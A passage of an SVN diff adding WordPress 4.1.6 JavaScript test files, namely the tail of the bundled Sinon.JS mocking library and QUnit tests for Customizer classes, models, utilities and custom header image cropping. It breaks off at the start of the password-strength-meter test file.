+                    server.longestTimeout = Math.max(timeout, server.longestTimeout || 0);
+
+                    return clockSetTimeout.apply(this, arguments);
+                };
+
+                this.clock.setInterval = function (fn, timeout) {
+                    server.longestTimeout = Math.max(timeout, server.longestTimeout || 0);
+
+                    return clockSetInterval.apply(this, arguments);
+                };
+            }
+        }
+
+        return sinon.fakeServer.addRequest.call(this, xhr);
+    };
+
+    sinon.fakeServerWithClock.respond = function respond() {
+        var returnVal = sinon.fakeServer.respond.apply(this, arguments);
+
+        if (this.clock) {
+            this.clock.tick(this.longestTimeout || 0);
+            this.longestTimeout = 0;
+
+            if (this.resetClock) {
+                this.clock.restore();
+                this.resetClock = false;
+            }
+        }
+
+        return returnVal;
+    };
+
+    sinon.fakeServerWithClock.restore = function restore() {
+        if (this.clock) {
+            this.clock.restore();
+        }
+
+        return sinon.fakeServer.restore.apply(this, arguments);
+    };
+}());
+
+/**
+ * @depend ../sinon.js
+ * @depend collection.js
+ * @depend util/fake_timers.js
+ * @depend util/fake_server_with_clock.js
+ */
+/*jslint eqeqeq: false, onevar: false, plusplus: false*/
+/*global require, module*/
+/**
+ * Manages fake collections as well as fake utilities such as Sinon's
+ * timers and fake XHR implementation in one convenient object.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+if (typeof module !== 'undefined' && module.exports) {
+    var sinon = require("../sinon");
+    sinon.extend(sinon, require("./util/fake_timers"));
+}
+
+(function () {
+    var push = [].push;
+
+    function exposeValue(sandbox, config, key, value) {
+        if (!value) {
+            return;
+        }
+
+        if (config.injectInto && !(key in config.injectInto) ) {
+            config.injectInto[key] = value;
+        } else {
+            push.call(sandbox.args, value);
+        }
+    }
+
+    function prepareSandboxFromConfig(config) {
+        var sandbox = sinon.create(sinon.sandbox);
+
+        if (config.useFakeServer) {
+            if (typeof config.useFakeServer == "object") {
+                sandbox.serverPrototype = config.useFakeServer;
+            }
+
+            sandbox.useFakeServer();
+        }
+
+        if (config.useFakeTimers) {
+            if (typeof config.useFakeTimers == "object") {
+                sandbox.useFakeTimers.apply(sandbox, config.useFakeTimers);
+            } else {
+                sandbox.useFakeTimers();
+            }
+        }
+
+        return sandbox;
+    }
+
+    sinon.sandbox = sinon.extend(sinon.create(sinon.collection), {
+        useFakeTimers: function useFakeTimers() {
+            this.clock = sinon.useFakeTimers.apply(sinon, arguments);
+
+            return this.add(this.clock);
+        },
+
+        serverPrototype: sinon.fakeServer,
+
+        useFakeServer: function useFakeServer() {
+            var proto = this.serverPrototype || sinon.fakeServer;
+
+            if (!proto || !proto.create) {
+                return null;
+            }
+
+            this.server = proto.create();
+            return this.add(this.server);
+        },
+
+        inject: function (obj) {
+            sinon.collection.inject.call(this, obj);
+
+            if (this.clock) {
+                obj.clock = this.clock;
+            }
+
+            if (this.server) {
+                obj.server = this.server;
+                obj.requests = this.server.requests;
+            }
+
+            return obj;
+        },
+
+        create: function (config) {
+            if (!config) {
+                return sinon.create(sinon.sandbox);
+            }
+
+            var sandbox = prepareSandboxFromConfig(config);
+            sandbox.args = sandbox.args || [];
+            var prop, value, exposed = sandbox.inject({});
+
+            if (config.properties) {
+                for (var i = 0, l = config.properties.length; i < l; i++) {
+                    prop = config.properties[i];
+                    value = exposed[prop] || prop == "sandbox" && sandbox;
+                    exposeValue(sandbox, config, prop, value);
+                }
+            } else {
+                exposeValue(sandbox, config, "sandbox", value);
+            }
+
+            return sandbox;
+        }
+    });
+
+    sinon.sandbox.useFakeXMLHttpRequest = sinon.sandbox.useFakeServer;
+
+    if (typeof module !== 'undefined' && module.exports) {
+        module.exports = sinon.sandbox;
+    }
+}());
+
+/**
+ * @depend ../sinon.js
+ * @depend stub.js
+ * @depend mock.js
+ * @depend sandbox.js
+ */
+/*jslint eqeqeq: false, onevar: false, forin: true, plusplus: false*/
+/*global module, require, sinon*/
+/**
+ * Test function, sandboxes fakes
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function test(callback) {
+        var type = typeof callback;
+
+        if (type != "function") {
+            throw new TypeError("sinon.test needs to wrap a test function, got " + type);
+        }
+
+        return function () {
+            var config = sinon.getConfig(sinon.config);
+            config.injectInto = config.injectIntoThis && this || config.injectInto;
+            var sandbox = sinon.sandbox.create(config);
+            var exception, result;
+            var args = Array.prototype.slice.call(arguments).concat(sandbox.args);
+
+            try {
+                result = callback.apply(this, args);
+            } catch (e) {
+                exception = e;
+            }
+
+            if (typeof exception !== "undefined") {
+                sandbox.restore();
+                throw exception;
+            }
+            else {
+                sandbox.verifyAndRestore();
+            }
+
+            return result;
+        };
+    }
+
+    test.config = {
+        injectIntoThis: true,
+        injectInto: null,
+        properties: ["spy", "stub", "mock", "clock", "server", "requests"],
+        useFakeTimers: true,
+        useFakeServer: true
+    };
+
+    if (commonJSModule) {
+        module.exports = test;
+    } else {
+        sinon.test = test;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/**
+ * @depend ../sinon.js
+ * @depend test.js
+ */
+/*jslint eqeqeq: false, onevar: false, eqeqeq: false*/
+/*global module, require, sinon*/
+/**
+ * Test case, sandboxes all test functions
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon || !Object.prototype.hasOwnProperty) {
+        return;
+    }
+
+    function createTest(property, setUp, tearDown) {
+        return function () {
+            if (setUp) {
+                setUp.apply(this, arguments);
+            }
+
+            var exception, result;
+
+            try {
+                result = property.apply(this, arguments);
+            } catch (e) {
+                exception = e;
+            }
+
+            if (tearDown) {
+                tearDown.apply(this, arguments);
+            }
+
+            if (exception) {
+                throw exception;
+            }
+
+            return result;
+        };
+    }
+
+    function testCase(tests, prefix) {
+        /*jsl:ignore*/
+        if (!tests || typeof tests != "object") {
+            throw new TypeError("sinon.testCase needs an object with test functions");
+        }
+        /*jsl:end*/
+
+        prefix = prefix || "test";
+        var rPrefix = new RegExp("^" + prefix);
+        var methods = {}, testName, property, method;
+        var setUp = tests.setUp;
+        var tearDown = tests.tearDown;
+
+        for (testName in tests) {
+            if (tests.hasOwnProperty(testName)) {
+                property = tests[testName];
+
+                if (/^(setUp|tearDown)$/.test(testName)) {
+                    continue;
+                }
+
+                if (typeof property == "function" && rPrefix.test(testName)) {
+                    method = property;
+
+                    if (setUp || tearDown) {
+                        method = createTest(property, setUp, tearDown);
+                    }
+
+                    methods[testName] = sinon.test(method);
+                } else {
+                    methods[testName] = tests[testName];
+                }
+            }
+        }
+
+        return methods;
+    }
+
+    if (commonJSModule) {
+        module.exports = testCase;
+    } else {
+        sinon.testCase = testCase;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/**
+ * @depend ../sinon.js
+ * @depend stub.js
+ */
+/*jslint eqeqeq: false, onevar: false, nomen: false, plusplus: false*/
+/*global module, require, sinon*/
+/**
+ * Assertions matching the test spy retrieval interface.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+(function (sinon, global) {
+    var commonJSModule = typeof module !== "undefined" && module.exports;
+    var slice = Array.prototype.slice;
+    var assert;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function verifyIsStub() {
+        var method;
+
+        for (var i = 0, l = arguments.length; i < l; ++i) {
+            method = arguments[i];
+
+            if (!method) {
+                assert.fail("fake is not a spy");
+            }
+
+            if (typeof method != "function") {
+                assert.fail(method + " is not a function");
+            }
+
+            if (typeof method.getCall != "function") {
+                assert.fail(method + " is not stubbed");
+            }
+        }
+    }
+
+    function failAssertion(object, msg) {
+        object = object || global;
+        var failMethod = object.fail || assert.fail;
+        failMethod.call(object, msg);
+    }
+
+    function mirrorPropAsAssertion(name, method, message) {
+        if (arguments.length == 2) {
+            message = method;
+            method = name;
+        }
+
+        assert[name] = function (fake) {
+            verifyIsStub(fake);
+
+            var args = slice.call(arguments, 1);
+            var failed = false;
+
+            if (typeof method == "function") {
+                failed = !method(fake);
+            } else {
+                failed = typeof fake[method] == "function" ?
+                    !fake[method].apply(fake, args) : !fake[method];
+            }
+
+            if (failed) {
+                failAssertion(this, fake.printf.apply(fake, [message].concat(args)));
+            } else {
+                assert.pass(name);
+            }
+        };
+    }
+
+    function exposedName(prefix, prop) {
+        return !prefix || /^fail/.test(prop) ? prop :
+            prefix + prop.slice(0, 1).toUpperCase() + prop.slice(1);
+    }
+
+    assert = {
+        failException: "AssertError",
+
+        fail: function fail(message) {
+            var error = new Error(message);
+            error.name = this.failException || assert.failException;
+
+            throw error;
+        },
+
+        pass: function pass(assertion) {},
+
+        callOrder: function assertCallOrder() {
+            verifyIsStub.apply(null, arguments);
+            var expected = "", actual = "";
+
+            if (!sinon.calledInOrder(arguments)) {
+                try {
+                    expected = [].join.call(arguments, ", ");
+                    var calls = slice.call(arguments);
+                    var i = calls.length;
+                    while (i) {
+                        if (!calls[--i].called) {
+                            calls.splice(i, 1);
+                        }
+                    }
+                    actual = sinon.orderByFirstCall(calls).join(", ");
+                } catch (e) {
+                    // If this fails, we'll just fall back to the blank string
+                }
+
+                failAssertion(this, "expected " + expected + " to be " +
+                              "called in order but were called as " + actual);
+            } else {
+                assert.pass("callOrder");
+            }
+        },
+
+        callCount: function assertCallCount(method, count) {
+            verifyIsStub(method);
+
+            if (method.callCount != count) {
+                var msg = "expected %n to be called " + sinon.timesInWords(count) +
+                    " but was called %c%C";
+                failAssertion(this, method.printf(msg));
+            } else {
+                assert.pass("callCount");
+            }
+        },
+
+        expose: function expose(target, options) {
+            if (!target) {
+                throw new TypeError("target is null or undefined");
+            }
+
+            var o = options || {};
+            var prefix = typeof o.prefix == "undefined" && "assert" || o.prefix;
+            var includeFail = typeof o.includeFail == "undefined" || !!o.includeFail;
+
+            for (var method in this) {
+                if (method != "export" && (includeFail || !/^(fail)/.test(method))) {
+                    target[exposedName(prefix, method)] = this[method];
+                }
+            }
+
+            return target;
+        }
+    };
+
+    mirrorPropAsAssertion("called", "expected %n to have been called at least once but was never called");
+    mirrorPropAsAssertion("notCalled", function (spy) { return !spy.called; },
+                          "expected %n to not have been called but was called %c%C");
+    mirrorPropAsAssertion("calledOnce", "expected %n to be called once but was called %c%C");
+    mirrorPropAsAssertion("calledTwice", "expected %n to be called twice but was called %c%C");
+    mirrorPropAsAssertion("calledThrice", "expected %n to be called thrice but was called %c%C");
+    mirrorPropAsAssertion("calledOn", "expected %n to be called with %1 as this but was called with %t");
+    mirrorPropAsAssertion("alwaysCalledOn", "expected %n to always be called with %1 as this but was called with %t");
+    mirrorPropAsAssertion("calledWithNew", "expected %n to be called with new");
+    mirrorPropAsAssertion("alwaysCalledWithNew", "expected %n to always be called with new");
+    mirrorPropAsAssertion("calledWith", "expected %n to be called with arguments %*%C");
+    mirrorPropAsAssertion("calledWithMatch", "expected %n to be called with match %*%C");
+    mirrorPropAsAssertion("alwaysCalledWith", "expected %n to always be called with arguments %*%C");
+    mirrorPropAsAssertion("alwaysCalledWithMatch", "expected %n to always be called with match %*%C");
+    mirrorPropAsAssertion("calledWithExactly", "expected %n to be called with exact arguments %*%C");
+    mirrorPropAsAssertion("alwaysCalledWithExactly", "expected %n to always be called with exact arguments %*%C");
+    mirrorPropAsAssertion("neverCalledWith", "expected %n to never be called with arguments %*%C");
+    mirrorPropAsAssertion("neverCalledWithMatch", "expected %n to never be called with match %*%C");
+    mirrorPropAsAssertion("threw", "%n did not throw exception%C");
+    mirrorPropAsAssertion("alwaysThrew", "%n did not always throw exception%C");
+
+    if (commonJSModule) {
+        module.exports = assert;
+    } else {
+        sinon.assert = assert;
+    }
+}(typeof sinon == "object" && sinon || null, typeof window != "undefined" ? window : (typeof self != "undefined") ? self : global));
+
+return sinon;}.call(typeof window != 'undefined' && window || {}));
Index: /tags/4.1.6/tests/qunit/wp-admin/js/customize-base.js
===================================================================
--- /tags/4.1.6/tests/qunit/wp-admin/js/customize-base.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/wp-admin/js/customize-base.js	(revision 33402)
@@ -0,0 +1,161 @@
+/* global wp */
+
+jQuery( function( $ ) {
+	var FooSuperClass, BarSubClass, foo, bar, ConstructorTestClass, newConstructor, constructorTest, $mockElement, mockString,
+	firstInitialValue, firstValueInstance, wasCallbackFired, mockValueCallback;
+
+	module( 'Customize Base: Class' );
+
+	FooSuperClass = wp.customize.Class.extend(
+		{
+			initialize: function ( instanceProps ) {
+				$.extend( this, instanceProps || {} );
+			},
+			protoProp: 'protoPropValue'
+		},
+		{
+			staticProp: 'staticPropValue'
+		}
+	);
+	test( 'FooSuperClass is a function ', function () {
+		equal( typeof FooSuperClass, 'function' );
+	});
+	test( 'FooSuperClass prototype has protoProp', function () {
+		equal( FooSuperClass.prototype.protoProp, 'protoPropValue' );
+	});
+	test( 'FooSuperClass does not have protoProp', function () {
+		equal( typeof FooSuperClass.protoProp, 'undefined' );
+	});
+	test( 'FooSuperClass has staticProp', function () {
+		equal( FooSuperClass.staticProp, 'staticPropValue' );
+	});
+	test( 'FooSuperClass prototype does not have staticProp', function () {
+		equal( typeof FooSuperClass.prototype.staticProp, 'undefined' );
+	});
+
+	foo = new FooSuperClass( { instanceProp: 'instancePropValue' } );
+	test( 'FooSuperClass instance foo extended Class', function () {
+		equal( foo.extended( wp.customize.Class ), true );
+	});
+	test( 'foo instance has protoProp', function () {
+		equal( foo.protoProp, 'protoPropValue' );
+	});
+	test( 'foo instance does not have staticProp', function () {
+		equal( typeof foo.staticProp, 'undefined' );
+	});
+	test( 'FooSuperClass instance foo ran initialize() and has supplied instanceProp', function () {
+		equal( foo.instanceProp, 'instancePropValue' );
+	});
+
+	// @todo Test Class.applicator?
+	// @todo do we test object.instance?
+
+	module( 'Customize Base: Subclass' );
+
+	BarSubClass = FooSuperClass.extend(
+		{
+			initialize: function ( instanceProps ) {
+				FooSuperClass.prototype.initialize.call( this, instanceProps );
+				this.subInstanceProp = 'subInstancePropValue';
+			},
+			subProtoProp: 'subProtoPropValue'
+		},
+		{
+			subStaticProp: 'subStaticPropValue'
+		}
+	);
+	test( 'BarSubClass prototype has subProtoProp', function () {
+		equal( BarSubClass.prototype.subProtoProp, 'subProtoPropValue' );
+	});
+	test( 'BarSubClass prototype has parent FooSuperClass protoProp', function () {
+		equal( BarSubClass.prototype.protoProp, 'protoPropValue' );
+	});
+
+	bar = new BarSubClass( { instanceProp: 'instancePropValue' } );
+	test( 'BarSubClass instance bar its initialize() and parent initialize() run', function () {
+		equal( bar.instanceProp, 'instancePropValue' );
+		equal( bar.subInstanceProp, 'subInstancePropValue' );
+	});
+
+	test( 'BarSubClass instance bar extended FooSuperClass', function () {
+		equal( bar.extended( FooSuperClass ), true );
+	});
+
+
+	// Implements todo : Test Class.constructor() manipulation
+	module( 'Customize Base: Constructor Manipulation' );
+
+	newConstructor = function ( instanceProps ) {
+			$.extend( this , instanceProps || {} );
+	};
+
+	ConstructorTestClass = wp.customize.Class.extend(
+		{
+			constructor : newConstructor,
+			protoProp: 'protoPropValue'
+		},
+		{
+			staticProp: 'staticPropValue'
+		}
+	);
+
+	test( 'New constructor added to class' , function () {
+		equal( ConstructorTestClass.prototype.constructor , newConstructor );
+	});
+	test( 'Class with new constructor has protoPropValue' , function () {
+		equal( ConstructorTestClass.prototype.protoProp , 'protoPropValue' );
+	});
+
+	constructorTest = new ConstructorTestClass( { instanceProp: 'instancePropValue' } );
+		test( 'ConstructorTestClass instance constructorTest has the new constructor', function () {
+		equal( constructorTest.constructor, newConstructor );
+	});
+
+	test( 'ConstructorTestClass instance constructorTest extended Class', function () {
+		equal( constructorTest.extended( wp.customize.Class ), true );
+	});
+
+	test( 'ConstructorTestClass instance constructorTest has the added instance property', function () {
+		equal( constructorTest.instanceProp , 'instancePropValue' );
+	});
+
+
+	module( 'Customize Base: wp.customizer.ensure' );
+
+	$mockElement = $( '<div id="mockElement"></div>' );
+
+	test( 'Handles jQuery argument' , function() {
+		equal( wp.customize.ensure( $mockElement ) , $mockElement );
+	});
+
+	mockString = '<div class="mockString"></div>';
+
+	test( 'Handles string argument' , function() {
+		ok( wp.customize.ensure( mockString ) instanceof jQuery );
+	});
+
+
+	module( 'Customize Base: Value Class' );
+
+	firstInitialValue = true;
+	firstValueInstance = new wp.customize.Value( firstInitialValue );
+
+	test( 'Initialized with the right value' , function() {
+		equal( firstValueInstance.get() , firstInitialValue );
+	});
+
+	test( '.set() works' , function() {
+		firstValueInstance.set( false );
+		equal( firstValueInstance.get() , false );
+	});
+
+	test( '.bind() adds new callback that fires on set()' , function() {
+		wasCallbackFired = false;
+		mockValueCallback = function() {
+			wasCallbackFired = true;
+		};
+		firstValueInstance.bind( mockValueCallback );
+		firstValueInstance.set( 'newValue' );
+		ok( wasCallbackFired );
+	});
+});
Index: /tags/4.1.6/tests/qunit/wp-admin/js/customize-controls-utils.js
===================================================================
--- /tags/4.1.6/tests/qunit/wp-admin/js/customize-controls-utils.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/wp-admin/js/customize-controls-utils.js	(revision 33402)
@@ -0,0 +1,108 @@
+/* global wp */
+
+jQuery( function( $ ) {
+	var trueMockEvent, falseMockEvent, mockElementLists, $firstMockElement, $secondMockElement, $thirdMockElement,
+		BubbleTester, BubbleTesterTwoValues, bubbleTesterParent, firstBubbleTester, secondBubbleTester;
+
+	module( 'Customizer Model Utility functions' );
+
+	trueMockEvent = {
+		type : 'keydown',
+		which : 14
+	};
+
+	falseMockEvent = {
+		type : 'keydown',
+		which : 13
+	};
+
+	test( 'isKeydownButNotEnterEvent returns true' , function () {
+		ok( wp.customize.utils.isKeydownButNotEnterEvent( trueMockEvent ) );
+	});
+
+	test( 'isKeydownButNotEnterEvent returns false' , function () {
+		equal( wp.customize.utils.isKeydownButNotEnterEvent( falseMockEvent ) , false );
+	});
+
+	$firstMockElement = $( '<div id="foo"></div>' );
+	$secondMockElement = $( '<li id="bar"></li>' );
+	$thirdMockElement = $( '<div id="thirdElement"></div>' );
+
+	mockElementLists = {
+		first : [ $firstMockElement , $secondMockElement ],
+		second : [ $secondMockElement ],
+		firstInReverseOrder : [ $secondMockElement , $firstMockElement ],
+		third : [ $firstMockElement, $secondMockElement ],
+		thirdButLonger : [ $firstMockElement, $secondMockElement, $thirdMockElement ]
+	};
+
+	test( 'areElementListsEqual returns true' , function () {
+		ok( wp.customize.utils.areElementListsEqual( mockElementLists.first , mockElementLists.first ) );
+	});
+
+	test( 'areElementListsEqual returns false' , function () {
+		equal( wp.customize.utils.areElementListsEqual( mockElementLists.first , mockElementLists.second ) , false );
+	});
+
+	test( 'areElementListsEqual: lists have same values, but in reverse order' , function () {
+		equal( wp.customize.utils.areElementListsEqual( mockElementLists.first , mockElementLists.firstInReverseOrder ) , false );
+	});
+
+	test( 'areElementListsEqual: lists have same values, but one is longer' , function () {
+		equal( wp.customize.utils.areElementListsEqual( mockElementLists.third , mockElementLists.thirdButLonger ) , false );
+	});
+
+
+	bubbleTesterParent = function() {
+		this.trigger = function( event , instance ) {
+			this.wasChangeTriggered = true;
+			this.instancePassedInTrigger = instance;
+		};
+		this.wasChangeTriggered = false;
+		this.instancePassedInTrigger = {};
+	};
+
+	BubbleTester = wp.customize.Class.extend(
+		{
+			parent : new bubbleTesterParent(),
+			fooValue : new wp.customize.Value()
+		},
+		{
+			staticProperty : 'propertyValue'
+		}
+	);
+
+	test( 'bubbleChildValueChanges notifies parent of change' , function() {
+		firstBubbleTester = new BubbleTester();
+		wp.customize.utils.bubbleChildValueChanges( firstBubbleTester , [ 'fooValue' ] );
+		firstBubbleTester.fooValue.set( 'new value' );
+		ok( firstBubbleTester.parent.wasChangeTriggered );
+	});
+
+	test( 'bubbleChildValueChanges passes a reference to its instance' , function() {
+		ok( firstBubbleTester.parent.instancePassedInTrigger instanceof BubbleTester );
+	});
+
+	BubbleTesterTwoValues = wp.customize.Class.extend(
+		{
+			parent : new bubbleTesterParent(),
+			exampleValue : new wp.customize.Value(),
+			barValue : new wp.customize.Value()
+		},
+		{
+			staticProperty : 'propertyValue'
+		}
+	);
+
+	secondBubbleTester = new BubbleTesterTwoValues();
+	wp.customize.utils.bubbleChildValueChanges( secondBubbleTester , [ 'exampleValue' , 'barValue' ] );
+	secondBubbleTester.barValue.set( 'new value' );
+
+	test( 'bubbleChildValueChanges notifies parent of change when two values are bound' , function() {
+		ok( secondBubbleTester.parent.wasChangeTriggered );
+	});
+
+	test( 'bubbleChildValueChanges passes a reference to its instance when two values are bound' , function() {
+		ok( secondBubbleTester.parent.instancePassedInTrigger instanceof BubbleTesterTwoValues );
+	});
+});
Index: /tags/4.1.6/tests/qunit/wp-admin/js/customize-controls.js
===================================================================
--- /tags/4.1.6/tests/qunit/wp-admin/js/customize-controls.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/wp-admin/js/customize-controls.js	(revision 33402)
@@ -0,0 +1,173 @@
+/* global wp */
+
+jQuery( function() {
+
+	var controlId, controlLabel, controlType, controlContent, controlDescription, controlData, mockControl,
+		mockControlInstance, controlExpectedValues, sectionId, sectionContent, sectionData, mockSection,
+		sectionInstance, sectionExpectedValues, panelId, panelTitle, panelDescription, panelContent, panelData,
+		mockPanel, panelExpectedValues, testCustomizerModel;
+
+	testCustomizerModel = function( model, expectedValues ) {
+		var type =  expectedValues.type || '';
+
+		if ( expectedValues.hasOwnProperty( 'id' ) ) {
+			test( type + ' instance has the right id' , function () {
+				equal( model.id , expectedValues.id );
+			});
+		}
+		if ( expectedValues.hasOwnProperty( 'title') ) {
+			test( type + ' instance has the right title.', function () {
+				equal( model.params.title , expectedValues.title );
+			});
+		}
+		if ( expectedValues.hasOwnProperty( 'description' ) ) {
+			test( type + ' instance has the right description.', function () {
+				equal( model.params.description , expectedValues.description );
+			});
+		}
+		if ( expectedValues.hasOwnProperty( 'content' ) ) {
+			test( type + ' instance has the right content.', function () {
+				equal( model.params.content , expectedValues.content );
+			});
+		}
+		if ( expectedValues.hasOwnProperty( 'priority' ) ) {
+			test( type + ' instance has the right priority.', function () {
+				equal( model.priority() , expectedValues.priority );
+			});
+		}
+		if ( expectedValues.textExpanded ) {
+			test( type + ' instance is not expanded', function () {
+				equal( model.expanded() , false );
+			});
+
+			test( type + ' instance is expanded after calling .expanded()', function () {
+				model.expand();
+				ok( model.expanded() );
+			});
+
+			test( type + ' instance is collapsed after calling .collapse()', function () {
+				model.collapse();
+				equal( model.expanded() , false );
+			});
+		}
+
+	};
+
+
+	module( 'Customizer Control Model' );
+
+	controlId = 'new_blogname';
+	controlLabel = 'Site Title';
+	controlType = 'text';
+	controlContent = '<li id="customize-control-blogname" class="customize-control customize-control-text"></li>';
+	controlDescription = 'Test control description';
+
+	controlData = {
+		content : controlContent,
+		description : controlDescription,
+		label : controlLabel,
+		settings : { 'default' : 'blogname' },
+		type : controlType
+	};
+
+	mockControl = new wp.customize.Control( controlId , {
+		params : controlData,
+		previewer : wp.customize.previewer
+	});
+
+	controlExpectedValues = {
+		type : 'Control',
+		content : controlContent,
+		descrption : controlDescription,
+		label : controlLabel,
+		id : controlId,
+		priority : 10,
+		textExpanded : false
+	};
+
+	testCustomizerModel( mockControl , controlExpectedValues );
+
+	test( 'Control instance does not yet belong to a section.', function () {
+		equal( mockControl.section() , undefined );
+	});
+
+	test( 'Control instance has the right selector.', function () {
+		equal( mockControl.selector , '#customize-control-new_blogname' );
+	});
+
+	wp.customize.control.add( controlId , mockControl );
+
+	test( 'Control instance was added to the control class.', function () {
+		ok( wp.customize.control.has( controlId ) );
+	});
+
+	mockControlInstance = wp.customize.control( controlId );
+
+	test( 'Control instance has the right id when accessed from api.control().', function () {
+		equal( mockControlInstance.id , controlId );
+	});
+
+
+	module( 'Customizer Section Model' );
+
+	sectionId = 'mock_title_tagline';
+	sectionContent = '<li id="accordion-section-title_tagline" class="control-section accordion-section"></li>';
+	sectionData = {
+		content : sectionContent
+	};
+
+	mockSection = new wp.customize.Section( sectionId , { params : sectionData } );
+
+	sectionExpectedValues = {
+		type : 'Section',
+		id : sectionId,
+		content : sectionContent,
+		priority : 100,
+		testExpanded : true
+	};
+
+	testCustomizerModel( mockSection , sectionExpectedValues );
+
+	wp.customize.section.add( sectionId , mockSection );
+
+	test( 'Section instance added to the wp.customize.section object', function () {
+		ok( wp.customize.section.has( sectionId ) );
+	});
+
+	sectionInstance = wp.customize.section( sectionId );
+
+	test( 'Section instance has right content when accessed from wp.customize.section()', function () {
+		equal( sectionInstance.params.content , sectionContent );
+	});
+
+
+	module( 'Customizer Panel Model' );
+
+	panelId = 'mockPanelId';
+	panelTitle = 'Mock Panel Title';
+	panelDescription = 'Mock panel description';
+	panelContent = '<li id="accordion-panel-widgets" class="control-section control-panel accordion-section">';
+	panelData = {
+		content : panelContent,
+		title : panelTitle,
+		description : panelDescription
+	};
+
+	mockPanel = new wp.customize.Panel( panelId , { params : panelData } );
+
+	panelExpectedValues = {
+		type : 'Panel',
+		id : panelId,
+		title : panelTitle ,
+		description : panelDescription,
+		content : panelContent,
+		priority : 100,
+		testExpanded : true
+	};
+
+	testCustomizerModel( mockPanel , panelExpectedValues );
+
+	test( 'Panel instance is not contextuallyActive', function () {
+		equal( mockPanel.isContextuallyActive() , false );
+	});
+});
Index: /tags/4.1.6/tests/qunit/wp-admin/js/customize-header.js
===================================================================
--- /tags/4.1.6/tests/qunit/wp-admin/js/customize-header.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/wp-admin/js/customize-header.js	(revision 33402)
@@ -0,0 +1,131 @@
+/* global wp, sinon */
+
+jQuery( function() {
+	module('Custom Header: ChoiceList', {
+		setup: function() {
+			wp.customize.HeaderTool.currentHeader = new wp.customize.HeaderTool.ImageModel();
+			this.apiStub = sinon.stub(wp.customize, 'get').returns('foo');
+			this.choiceList = new wp.customize.HeaderTool.ChoiceList();
+		},
+		teardown: function() {
+			this.apiStub.restore();
+		}
+	});
+
+	test('should parse _wpCustomizeHeader.uploads into itself', function() {
+		equal(this.choiceList.length, 4);
+	});
+
+	test('should sort by newest first', function() {
+		equal(this.choiceList.at(2).get('header').attachment_id, 1);
+		equal(this.choiceList.first().get('header').attachment_id, 3);
+	});
+
+	module('Custom Header: DefaultsList', {
+		setup: function() {
+			wp.customize.HeaderTool.currentHeader = new wp.customize.HeaderTool.ImageModel();
+			this.apiStub = sinon.stub(wp.customize, 'get').returns('foo');
+			this.choiceList = new wp.customize.HeaderTool.DefaultsList();
+		},
+		teardown: function() {
+			this.apiStub.restore();
+		}
+	});
+
+	test('it should parse _wpCustomizeHeader.defaults into itself', function() {
+		equal(this.choiceList.length, 4);
+	});
+
+	test('it parses the default image names', function() {
+		equal(this.choiceList.first().get('header').defaultName, 'circle');
+		equal(this.choiceList.at(2).get('header').defaultName, 'star');
+	});
+
+	module('Custom Header: HeaderImage shouldBeCropped()', {
+		setup: function() {
+			wp.customize.HeaderTool.currentHeader = new wp.customize.HeaderTool.ImageModel();
+			this.model = new wp.customize.HeaderTool.ImageModel();
+			this.model.set({
+				themeWidth: 1000,
+				themeHeight: 200
+			});
+		}
+	});
+
+	test('should not be cropped when the theme does not support flex width or height and the image has the same dimensions of the theme image', function() {
+		this.model.set({
+			themeFlexWidth: false,
+			themeFlexHeight: false,
+			imageWidth: 1000,
+			imageHeight: 200
+		});
+
+		equal(this.model.shouldBeCropped(), false);
+	});
+
+	test('should be cropped when the image has the same dimensions of the theme image', function() {
+		this.model.set({
+			themeFlexWidth: false,
+			themeFlexHeight: false,
+			imageWidth: 2000,
+			imageHeight: 400
+		});
+
+		equal(this.model.shouldBeCropped(), true);
+	});
+
+	test('should not be cropped when the theme only supports flex width and the image has the same height as the theme image', function() {
+		this.model.set({
+			themeFlexWidth: true,
+			themeFlexHeight: false,
+			imageWidth: 4000,
+			imageHeight: 200
+		});
+
+		equal(this.model.shouldBeCropped(), false);
+	});
+
+	test('should not be cropped when the theme only supports flex height and the image has the same width as the theme image', function() {
+		this.model.set({
+			themeFlexWidth: false,
+			themeFlexHeight: true,
+			imageWidth: 1000,
+			imageHeight: 600
+		});
+
+		equal(this.model.shouldBeCropped(), false);
+	});
+
+	test('should not be cropped when the theme supports flex height AND width', function() {
+		this.model.set({
+			themeFlexWidth: true,
+			themeFlexHeight: true,
+			imageWidth: 10000,
+			imageHeight: 8600
+		});
+
+		equal(this.model.shouldBeCropped(), false);
+	});
+
+	test('should not be cropped when the image width is smaller than or equal to theme width', function() {
+		this.model.set({
+			themeFlexWidth: false,
+			themeFlexHeight: false,
+			imageWidth: 1000,
+			imageHeight: 100
+		});
+
+		equal(this.model.shouldBeCropped(), false);
+	});
+
+	test('should not be cropped when the image width is smaller than or equal to theme width, theme supports flex height and width', function() {
+		this.model.set({
+			themeFlexWidth: true,
+			themeFlexHeight: true,
+			imageWidth: 900,
+			imageHeight: 100
+		});
+
+		equal(this.model.shouldBeCropped(), false);
+	});
+});
Index: /tags/4.1.6/tests/qunit/wp-admin/js/password-strength-meter.js
===================================================================
--- /tags/4.1.6/tests/qunit/wp-admin/js/password-strength-meter.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/wp-admin/js/password-strength-meter.js	(revision 33402)
@@ -0,0 +1,101 @@
